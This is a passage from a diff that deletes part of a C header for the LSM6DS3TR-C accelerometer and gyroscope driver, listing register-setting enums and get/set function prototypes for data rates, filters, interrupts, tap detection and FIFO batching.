LSM6DS3TR_C_GY_ODR_12Hz5 = 1, - LSM6DS3TR_C_GY_ODR_26Hz = 2, - LSM6DS3TR_C_GY_ODR_52Hz = 3, - LSM6DS3TR_C_GY_ODR_104Hz = 4, - LSM6DS3TR_C_GY_ODR_208Hz = 5, - LSM6DS3TR_C_GY_ODR_416Hz = 6, - LSM6DS3TR_C_GY_ODR_833Hz = 7, - LSM6DS3TR_C_GY_ODR_1k66Hz = 8, - LSM6DS3TR_C_GY_ODR_3k33Hz = 9, - LSM6DS3TR_C_GY_ODR_6k66Hz = 10, - LSM6DS3TR_C_GY_ODR_ND = 11, /* ERROR CODE */ -} lsm6ds3tr_c_odr_g_t; -int32_t lsm6ds3tr_c_gy_data_rate_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_g_t val); -int32_t lsm6ds3tr_c_gy_data_rate_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_g_t* val); - -int32_t lsm6ds3tr_c_block_data_update_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_block_data_update_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_LSb_1mg = 0, - LSM6DS3TR_C_LSb_16mg = 1, - LSM6DS3TR_C_WEIGHT_ND = 2, -} lsm6ds3tr_c_usr_off_w_t; -int32_t lsm6ds3tr_c_xl_offset_weight_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_usr_off_w_t val); -int32_t lsm6ds3tr_c_xl_offset_weight_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_usr_off_w_t* val); - -typedef enum { - LSM6DS3TR_C_XL_HIGH_PERFORMANCE = 0, - LSM6DS3TR_C_XL_NORMAL = 1, - LSM6DS3TR_C_XL_PW_MODE_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_xl_hm_mode_t; -int32_t lsm6ds3tr_c_xl_power_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_xl_hm_mode_t val); -int32_t lsm6ds3tr_c_xl_power_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_xl_hm_mode_t* val); - -typedef enum { - LSM6DS3TR_C_STAT_RND_DISABLE = 0, - LSM6DS3TR_C_STAT_RND_ENABLE = 1, - LSM6DS3TR_C_STAT_RND_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_rounding_status_t; -int32_t lsm6ds3tr_c_rounding_on_status_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_status_t val); -int32_t lsm6ds3tr_c_rounding_on_status_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_status_t* val); - -typedef enum { - LSM6DS3TR_C_GY_HIGH_PERFORMANCE = 0, - LSM6DS3TR_C_GY_NORMAL = 1, - LSM6DS3TR_C_GY_PW_MODE_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_g_hm_mode_t; -int32_t lsm6ds3tr_c_gy_power_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_g_hm_mode_t val); -int32_t lsm6ds3tr_c_gy_power_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_g_hm_mode_t* val); - -typedef struct { - lsm6ds3tr_c_wake_up_src_t wake_up_src; - lsm6ds3tr_c_tap_src_t tap_src; - lsm6ds3tr_c_d6d_src_t d6d_src; - lsm6ds3tr_c_status_reg_t status_reg; - lsm6ds3tr_c_func_src1_t func_src1; - lsm6ds3tr_c_func_src2_t func_src2; - lsm6ds3tr_c_wrist_tilt_ia_t wrist_tilt_ia; - lsm6ds3tr_c_a_wrist_tilt_mask_t a_wrist_tilt_mask; -} lsm6ds3tr_c_all_sources_t; -int32_t lsm6ds3tr_c_all_sources_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_all_sources_t* val); - -int32_t lsm6ds3tr_c_status_reg_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_status_reg_t* val); - -int32_t lsm6ds3tr_c_xl_flag_data_ready_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_gy_flag_data_ready_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_temp_flag_data_ready_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_xl_usr_offset_set(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_xl_usr_offset_get(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_timestamp_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_timestamp_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_LSB_6ms4 = 0, - LSM6DS3TR_C_LSB_25us = 1, - LSM6DS3TR_C_TS_RES_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_timer_hr_t; -int32_t lsm6ds3tr_c_timestamp_res_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_timer_hr_t val); -int32_t lsm6ds3tr_c_timestamp_res_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_timer_hr_t* val); - -typedef enum { - LSM6DS3TR_C_ROUND_DISABLE = 0, - LSM6DS3TR_C_ROUND_XL = 1, - LSM6DS3TR_C_ROUND_GY = 2, - LSM6DS3TR_C_ROUND_GY_XL = 3, - LSM6DS3TR_C_ROUND_SH1_TO_SH6 = 4, - LSM6DS3TR_C_ROUND_XL_SH1_TO_SH6 = 5, - LSM6DS3TR_C_ROUND_GY_XL_SH1_TO_SH12 = 6, - LSM6DS3TR_C_ROUND_GY_XL_SH1_TO_SH6 = 7, - LSM6DS3TR_C_ROUND_OUT_ND = 8, /* ERROR CODE */ -} lsm6ds3tr_c_rounding_t; -int32_t lsm6ds3tr_c_rounding_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_t val); -int32_t lsm6ds3tr_c_rounding_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_t* val); - -int32_t lsm6ds3tr_c_temperature_raw_get(stmdev_ctx_t* ctx, int16_t* val); -int32_t lsm6ds3tr_c_angular_rate_raw_get(stmdev_ctx_t* ctx, int16_t* val); -int32_t lsm6ds3tr_c_acceleration_raw_get(stmdev_ctx_t* ctx, int16_t* val); - -int32_t lsm6ds3tr_c_mag_calibrated_raw_get(stmdev_ctx_t* ctx, int16_t* val); - -int32_t lsm6ds3tr_c_fifo_raw_data_get(stmdev_ctx_t* ctx, uint8_t* buffer, uint8_t len); - -typedef enum { - LSM6DS3TR_C_USER_BANK = 0, - LSM6DS3TR_C_BANK_A = 4, - LSM6DS3TR_C_BANK_B = 5, - LSM6DS3TR_C_BANK_ND = 6, /* ERROR CODE */ -} lsm6ds3tr_c_func_cfg_en_t; -int32_t lsm6ds3tr_c_mem_bank_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_func_cfg_en_t val); -int32_t lsm6ds3tr_c_mem_bank_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_func_cfg_en_t* val); - -typedef enum { - LSM6DS3TR_C_DRDY_LATCHED = 0, - LSM6DS3TR_C_DRDY_PULSED = 1, - LSM6DS3TR_C_DRDY_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_drdy_pulsed_g_t; -int32_t lsm6ds3tr_c_data_ready_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_drdy_pulsed_g_t val); -int32_t lsm6ds3tr_c_data_ready_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_drdy_pulsed_g_t* val); - -int32_t lsm6ds3tr_c_device_id_get(stmdev_ctx_t* ctx, uint8_t* buff); -int32_t lsm6ds3tr_c_reset_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_reset_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_LSB_AT_LOW_ADD = 0, - LSM6DS3TR_C_MSB_AT_LOW_ADD = 1, - LSM6DS3TR_C_DATA_FMT_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_ble_t; -int32_t lsm6ds3tr_c_data_format_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_ble_t val); -int32_t lsm6ds3tr_c_data_format_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_ble_t* val); - -int32_t lsm6ds3tr_c_auto_increment_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_auto_increment_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_boot_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_boot_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_XL_ST_DISABLE = 0, - LSM6DS3TR_C_XL_ST_POSITIVE = 1, - LSM6DS3TR_C_XL_ST_NEGATIVE = 2, - LSM6DS3TR_C_XL_ST_ND = 3, /* ERROR CODE */ -} lsm6ds3tr_c_st_xl_t; -int32_t lsm6ds3tr_c_xl_self_test_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_xl_t val); -int32_t lsm6ds3tr_c_xl_self_test_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_xl_t* val); - -typedef enum { - LSM6DS3TR_C_GY_ST_DISABLE = 0, - LSM6DS3TR_C_GY_ST_POSITIVE = 1, - LSM6DS3TR_C_GY_ST_NEGATIVE = 3, - LSM6DS3TR_C_GY_ST_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_st_g_t; -int32_t lsm6ds3tr_c_gy_self_test_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_g_t val); -int32_t lsm6ds3tr_c_gy_self_test_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_g_t* val); - -int32_t lsm6ds3tr_c_filter_settling_mask_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_filter_settling_mask_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_USE_SLOPE = 0, - LSM6DS3TR_C_USE_HPF = 1, - LSM6DS3TR_C_HP_PATH_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_slope_fds_t; -int32_t lsm6ds3tr_c_xl_hp_path_internal_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slope_fds_t val); -int32_t lsm6ds3tr_c_xl_hp_path_internal_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slope_fds_t* val); - -typedef enum { - LSM6DS3TR_C_XL_ANA_BW_1k5Hz = 0, - LSM6DS3TR_C_XL_ANA_BW_400Hz = 1, - LSM6DS3TR_C_XL_ANA_BW_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_bw0_xl_t; -int32_t lsm6ds3tr_c_xl_filter_analog_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_bw0_xl_t val); -int32_t lsm6ds3tr_c_xl_filter_analog_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_bw0_xl_t* val); - -typedef enum { - LSM6DS3TR_C_XL_LP1_ODR_DIV_2 = 0, - LSM6DS3TR_C_XL_LP1_ODR_DIV_4 = 1, - LSM6DS3TR_C_XL_LP1_NA = 2, /* ERROR CODE */ -} lsm6ds3tr_c_lpf1_bw_sel_t; -int32_t lsm6ds3tr_c_xl_lp1_bandwidth_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_bw_sel_t val); -int32_t lsm6ds3tr_c_xl_lp1_bandwidth_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_bw_sel_t* val); - -typedef enum { - LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_50 = 0x00, - LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_100 = 0x01, - LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_9 = 0x02, - LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_400 = 0x03, - LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_50 = 0x10, - LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_100 = 0x11, - LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_9 = 0x12, - LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_400 = 0x13, - LSM6DS3TR_C_XL_LP_NA = 0x20, /* ERROR CODE */ -} lsm6ds3tr_c_input_composite_t; -int32_t lsm6ds3tr_c_xl_lp2_bandwidth_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_input_composite_t val); -int32_t lsm6ds3tr_c_xl_lp2_bandwidth_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_input_composite_t* val); - -int32_t lsm6ds3tr_c_xl_reference_mode_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_xl_reference_mode_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_XL_HP_ODR_DIV_4 = 0x00, /* Slope filter */ - LSM6DS3TR_C_XL_HP_ODR_DIV_100 = 0x01, - LSM6DS3TR_C_XL_HP_ODR_DIV_9 = 0x02, - LSM6DS3TR_C_XL_HP_ODR_DIV_400 = 0x03, - LSM6DS3TR_C_XL_HP_NA = 0x10, /* ERROR CODE */ -} lsm6ds3tr_c_hpcf_xl_t; -int32_t lsm6ds3tr_c_xl_hp_bandwidth_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_hpcf_xl_t val); -int32_t lsm6ds3tr_c_xl_hp_bandwidth_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_hpcf_xl_t* val); - -typedef enum { - LSM6DS3TR_C_LP2_ONLY = 0x00, - - LSM6DS3TR_C_HP_16mHz_LP2 = 0x80, - LSM6DS3TR_C_HP_65mHz_LP2 = 0x90, - LSM6DS3TR_C_HP_260mHz_LP2 = 0xA0, - LSM6DS3TR_C_HP_1Hz04_LP2 = 0xB0, - - LSM6DS3TR_C_HP_DISABLE_LP1_LIGHT = 0x0A, - LSM6DS3TR_C_HP_DISABLE_LP1_NORMAL = 0x09, - LSM6DS3TR_C_HP_DISABLE_LP_STRONG = 0x08, - LSM6DS3TR_C_HP_DISABLE_LP1_AGGRESSIVE = 0x0B, - - LSM6DS3TR_C_HP_16mHz_LP1_LIGHT = 0x8A, - LSM6DS3TR_C_HP_65mHz_LP1_NORMAL = 0x99, - LSM6DS3TR_C_HP_260mHz_LP1_STRONG = 0xA8, - LSM6DS3TR_C_HP_1Hz04_LP1_AGGRESSIVE = 0xBB, - - LSM6DS3TR_C_HP_GY_BAND_NA = 0xFF, /* ERROR CODE */ -} lsm6ds3tr_c_lpf1_sel_g_t; -int32_t lsm6ds3tr_c_gy_band_pass_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_sel_g_t val); -int32_t lsm6ds3tr_c_gy_band_pass_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_sel_g_t* val); - -typedef enum { - LSM6DS3TR_C_SPI_4_WIRE = 0, - LSM6DS3TR_C_SPI_3_WIRE = 1, - LSM6DS3TR_C_SPI_MODE_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_sim_t; -int32_t lsm6ds3tr_c_spi_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_sim_t val); -int32_t lsm6ds3tr_c_spi_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_sim_t* val); - -typedef enum { - LSM6DS3TR_C_I2C_ENABLE = 0, - LSM6DS3TR_C_I2C_DISABLE = 1, - LSM6DS3TR_C_I2C_MODE_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_i2c_disable_t; -int32_t lsm6ds3tr_c_i2c_interface_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_i2c_disable_t val); -int32_t lsm6ds3tr_c_i2c_interface_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_i2c_disable_t* val); - -typedef struct { - uint8_t int1_drdy_xl : 1; - uint8_t int1_drdy_g : 1; - uint8_t int1_boot : 1; - uint8_t int1_fth : 1; - uint8_t int1_fifo_ovr : 1; - uint8_t int1_full_flag : 1; - uint8_t int1_sign_mot : 1; - uint8_t int1_step_detector : 1; - uint8_t int1_timer : 1; - uint8_t int1_tilt : 1; - uint8_t int1_6d : 1; - uint8_t int1_double_tap : 1; - uint8_t int1_ff : 1; - uint8_t int1_wu : 1; - uint8_t int1_single_tap : 1; - uint8_t int1_inact_state : 1; - uint8_t den_drdy_int1 : 1; - uint8_t drdy_on_int1 : 1; -} lsm6ds3tr_c_int1_route_t; -int32_t lsm6ds3tr_c_pin_int1_route_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_int1_route_t val); -int32_t lsm6ds3tr_c_pin_int1_route_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_int1_route_t* val); - -typedef struct { - uint8_t int2_drdy_xl : 1; - uint8_t int2_drdy_g : 1; - uint8_t int2_drdy_temp : 1; - uint8_t int2_fth : 1; - uint8_t int2_fifo_ovr : 1; - uint8_t int2_full_flag : 1; - uint8_t int2_step_count_ov : 1; - uint8_t int2_step_delta : 1; - uint8_t int2_iron : 1; - uint8_t int2_tilt : 1; - uint8_t int2_6d : 1; - uint8_t int2_double_tap : 1; - uint8_t int2_ff : 1; - uint8_t int2_wu : 1; - uint8_t int2_single_tap : 1; - uint8_t int2_inact_state : 1; - uint8_t int2_wrist_tilt : 1; -} lsm6ds3tr_c_int2_route_t; -int32_t lsm6ds3tr_c_pin_int2_route_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_int2_route_t val); -int32_t lsm6ds3tr_c_pin_int2_route_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_int2_route_t* val); - -typedef enum { - LSM6DS3TR_C_PUSH_PULL = 0, - LSM6DS3TR_C_OPEN_DRAIN = 1, - LSM6DS3TR_C_PIN_MODE_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_pp_od_t; -int32_t lsm6ds3tr_c_pin_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_pp_od_t val); -int32_t lsm6ds3tr_c_pin_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_pp_od_t* val); - -typedef enum { - LSM6DS3TR_C_ACTIVE_HIGH = 0, - LSM6DS3TR_C_ACTIVE_LOW = 1, - LSM6DS3TR_C_POLARITY_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_h_lactive_t; -int32_t lsm6ds3tr_c_pin_polarity_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_h_lactive_t val); -int32_t lsm6ds3tr_c_pin_polarity_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_h_lactive_t* val); - -int32_t lsm6ds3tr_c_all_on_int1_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_all_on_int1_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_INT_PULSED = 0, - LSM6DS3TR_C_INT_LATCHED = 1, - LSM6DS3TR_C_INT_MODE = 2, /* ERROR CODE */ -} lsm6ds3tr_c_lir_t; -int32_t lsm6ds3tr_c_int_notification_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_lir_t val); -int32_t lsm6ds3tr_c_int_notification_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_lir_t* val); - -int32_t lsm6ds3tr_c_wkup_threshold_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_wkup_threshold_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_wkup_dur_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_wkup_dur_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_gy_sleep_mode_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_gy_sleep_mode_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_PROPERTY_DISABLE = 0, - LSM6DS3TR_C_XL_12Hz5_GY_NOT_AFFECTED = 1, - LSM6DS3TR_C_XL_12Hz5_GY_SLEEP = 2, - LSM6DS3TR_C_XL_12Hz5_GY_PD = 3, - LSM6DS3TR_C_ACT_MODE_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_inact_en_t; -int32_t lsm6ds3tr_c_act_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_inact_en_t val); -int32_t lsm6ds3tr_c_act_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_inact_en_t* val); - -int32_t lsm6ds3tr_c_act_sleep_dur_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_act_sleep_dur_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tap_src_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_tap_src_t* val); - -int32_t lsm6ds3tr_c_tap_detection_on_z_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tap_detection_on_z_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tap_detection_on_y_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tap_detection_on_y_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tap_detection_on_x_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tap_detection_on_x_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tap_threshold_x_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tap_threshold_x_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tap_shock_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tap_shock_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tap_quiet_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tap_quiet_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_tap_dur_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_tap_dur_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_ONLY_SINGLE = 0, - LSM6DS3TR_C_BOTH_SINGLE_DOUBLE = 1, - LSM6DS3TR_C_TAP_MODE_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_single_double_tap_t; -int32_t lsm6ds3tr_c_tap_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_single_double_tap_t val); -int32_t lsm6ds3tr_c_tap_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_single_double_tap_t* val); - -typedef enum { - LSM6DS3TR_C_ODR_DIV_2_FEED = 0, - LSM6DS3TR_C_LPF2_FEED = 1, - LSM6DS3TR_C_6D_FEED_ND = 2, /* ERROR CODE */ -} lsm6ds3tr_c_low_pass_on_6d_t; -int32_t lsm6ds3tr_c_6d_feed_data_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_low_pass_on_6d_t val); -int32_t lsm6ds3tr_c_6d_feed_data_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_low_pass_on_6d_t* val); - -typedef enum { - LSM6DS3TR_C_DEG_80 = 0, - LSM6DS3TR_C_DEG_70 = 1, - LSM6DS3TR_C_DEG_60 = 2, - LSM6DS3TR_C_DEG_50 = 3, - LSM6DS3TR_C_6D_TH_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_sixd_ths_t; -int32_t lsm6ds3tr_c_6d_threshold_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_sixd_ths_t val); -int32_t lsm6ds3tr_c_6d_threshold_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_sixd_ths_t* val); - -int32_t lsm6ds3tr_c_4d_mode_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_4d_mode_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_ff_dur_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_ff_dur_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_FF_TSH_156mg = 0, - LSM6DS3TR_C_FF_TSH_219mg = 1, - LSM6DS3TR_C_FF_TSH_250mg = 2, - LSM6DS3TR_C_FF_TSH_312mg = 3, - LSM6DS3TR_C_FF_TSH_344mg = 4, - LSM6DS3TR_C_FF_TSH_406mg = 5, - LSM6DS3TR_C_FF_TSH_469mg = 6, - LSM6DS3TR_C_FF_TSH_500mg = 7, - LSM6DS3TR_C_FF_TSH_ND = 8, /* ERROR CODE */ -} lsm6ds3tr_c_ff_ths_t; -int32_t lsm6ds3tr_c_ff_threshold_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_ff_ths_t val); -int32_t lsm6ds3tr_c_ff_threshold_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_ff_ths_t* val); - -int32_t lsm6ds3tr_c_fifo_watermark_set(stmdev_ctx_t* ctx, uint16_t val); -int32_t lsm6ds3tr_c_fifo_watermark_get(stmdev_ctx_t* ctx, uint16_t* val); - -int32_t lsm6ds3tr_c_fifo_data_level_get(stmdev_ctx_t* ctx, uint16_t* val); - -int32_t lsm6ds3tr_c_fifo_wtm_flag_get(stmdev_ctx_t* ctx, uint8_t* val); - -int32_t lsm6ds3tr_c_fifo_pattern_get(stmdev_ctx_t* ctx, uint16_t* val); - -int32_t lsm6ds3tr_c_fifo_temp_batch_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_fifo_temp_batch_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_TRG_XL_GY_DRDY = 0, - LSM6DS3TR_C_TRG_STEP_DETECT = 1, - LSM6DS3TR_C_TRG_SH_DRDY = 2, - LSM6DS3TR_C_TRG_SH_ND = 3, /* ERROR CODE */ -} lsm6ds3tr_c_trigger_fifo_t; -int32_t lsm6ds3tr_c_fifo_write_trigger_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_trigger_fifo_t val); -int32_t lsm6ds3tr_c_fifo_write_trigger_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_trigger_fifo_t* val); - -int32_t lsm6ds3tr_c_fifo_pedo_and_timestamp_batch_set(stmdev_ctx_t* ctx, uint8_t val); -int32_t lsm6ds3tr_c_fifo_pedo_and_timestamp_batch_get(stmdev_ctx_t* ctx, uint8_t* val); - -typedef enum { - LSM6DS3TR_C_FIFO_XL_DISABLE = 0, - LSM6DS3TR_C_FIFO_XL_NO_DEC = 1, - LSM6DS3TR_C_FIFO_XL_DEC_2 = 2, - LSM6DS3TR_C_FIFO_XL_DEC_3 = 3, - LSM6DS3TR_C_FIFO_XL_DEC_4 = 4, - LSM6DS3TR_C_FIFO_XL_DEC_8 = 5, - LSM6DS3TR_C_FIFO_XL_DEC_16 = 6, - LSM6DS3TR_C_FIFO_XL_DEC_32 = 7, - LSM6DS3TR_C_FIFO_XL_DEC_ND = 8, /* ERROR CODE */ -} lsm6ds3tr_c_dec_fifo_xl_t; -int32_t lsm6ds3tr_c_fifo_xl_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_xl_t val); -int32_t lsm6ds3tr_c_fifo_xl_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_xl_t* val); - -typedef enum { - LSM6DS3TR_C_FIFO_GY_DISABLE = 0, - LSM6DS3TR_C_FIFO_GY_NO_DEC = 1, - LSM6DS3TR_C_FIFO_GY_DEC_2 = 2, - LSM6DS3TR_C_FIFO_GY_DEC_3 = 3, - LSM6DS3TR_C_FIFO_GY_DEC_4 = 4, - LSM6DS3TR_C_FIFO_GY_DEC_8 = 5, - LSM6DS3TR_C_FIFO_GY_DEC_16 = 6, - LSM6DS3TR_C_FIFO_GY_DEC_32 = 7, - LSM6DS3TR_C_FIFO_GY_DEC_ND = 8, /* ERROR CODE */ -} lsm6ds3tr_c_dec_fifo_gyro_t; -int32_t lsm6ds3tr_c_fifo_gy_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_gyro_t val); -int32_t lsm6ds3tr_c_fifo_gy_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_gyro_t* val); - -typedef enum { - LSM6DS3TR_C_FIFO_DS3_DISABLE = 0, - LSM6DS3TR_C_FIFO_DS3_NO_DEC = 1, - LSM6DS3TR_C_FIFO_DS3_DEC_2 = 2, - LSM6DS3TR_C_FIFO_DS3_DEC_3 = 3, - LSM6DS3TR_C_FIFO_DS3_DEC_4 = 4, - LSM6DS3TR_C_FIFO_DS3_DEC_8 = 5, - LSM6DS3TR_C_FIFO_DS3_DEC_16 = 6, - LSM6DS3TR_C_FIFO_DS3_DEC_32 = 7, - LSM6DS3TR_C_FIFO_DS3_DEC_ND = 8, /* ERROR CODE */ -} lsm6ds3tr_c_dec_ds3_fifo_t; -int32_t lsm6ds3tr_c_fifo_dataset_3_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds3_fifo_t val); -int32_t lsm6ds3tr_c_fifo_dataset_3_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds3_fifo_t* val); - -typedef enum { - LSM6DS3TR_C_FIFO_DS4_DISABLE = 0, - LSM6DS3TR_C_FIFO_DS4_NO_DEC = 1, - LSM6DS3TR_C_FIFO_DS4_DEC_2 = 2, - LSM6DS3TR_C_FIFO_DS4_DEC_3 = 3, - LSM6DS3TR_C_FIFO_DS4_DEC_4 = 4, - LSM6DS3TR_C_FIFO_DS4_DEC_8 = 5, - LSM6DS3TR_C_FIFO_DS4_DEC_16 = 6, - LSM6DS3TR_C_FIFO_DS4_DEC_32 = 7, - 